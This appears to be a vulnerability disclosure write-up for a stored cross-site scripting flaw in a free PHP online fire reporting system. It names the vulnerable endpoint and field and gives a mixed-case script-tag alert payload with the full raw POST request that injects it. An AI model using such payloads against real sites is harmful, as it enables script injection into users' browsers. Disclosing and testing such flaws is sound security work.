mikeccltt Update xss.md History

1 contributor

53 lines (38 sloc) | 1.76 KB

online-fire-reporting-system - Cross-site Scripting (XSS)

vendors: https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html

Date: 2022-05-07

Vulnerability File: /ofrs/classes/Master.php

Vulnerability location: /ofrs/classes/Master.php?f=save_team, code

[+] Payload: <sCrIpT>alert(1)</sCrIpT>

Tested on Windows 10, XAMPP

```
POST http://192.168.2.102/ofrs/classes/Master.php?f=save_team HTTP/1.1
Host: 192.168.2.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101
Firefox/100.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------
```

```
-122324417844184790126292328 38
Content-Length: 660
Origin: http://192.168.2.102
Connection: close
Referer: http://192.168.2.102/ofrs/admin/?page=teams/manage_team&id=6
Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj

-----------------------------122324417844184790126292328 38
Content-Disposition: form-data; name="id"

6
-----------------------------122324417844184790126292328 38
Content-Disposition: form-data; name="code"

<sCrIpT>alert(1)</sCrIpT>
-----------------------------122324417844184790126292328 38
Content-Disposition: form-data; name="leader_name"

asd
-----------------------------122324417844184790126292328 38
Content-Disposition: form-data; name="leader_contact"

asd
-----------------------------122324417844184790126292328 38
Content-Disposition: form-data; name="members"

asd
-----------------------------122324417844184790126292328 38--
```